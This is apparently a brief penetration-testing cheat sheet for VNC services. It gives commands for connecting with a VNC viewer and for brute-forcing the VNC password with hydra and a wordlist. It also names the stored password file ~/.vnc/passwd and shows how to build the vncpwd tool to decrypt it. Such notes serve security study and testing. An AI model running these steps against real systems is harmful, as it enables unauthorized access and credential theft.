Enumerate

sudo apt install tigervnc-viewer

vncviewer $IP:[port]

hydra -s [port] -P [wordlist] -t 4 $IP vnc
vncviewer [-passwd passwd.txt] <IP>::5901

Default **password is stored** in: ~/.vnc/passwd

# if it looks encrypted can use the following tool to crack it
git clone <https://github.com/jeroennijhof/vncpwd>
make
vncpwd <vnc password file>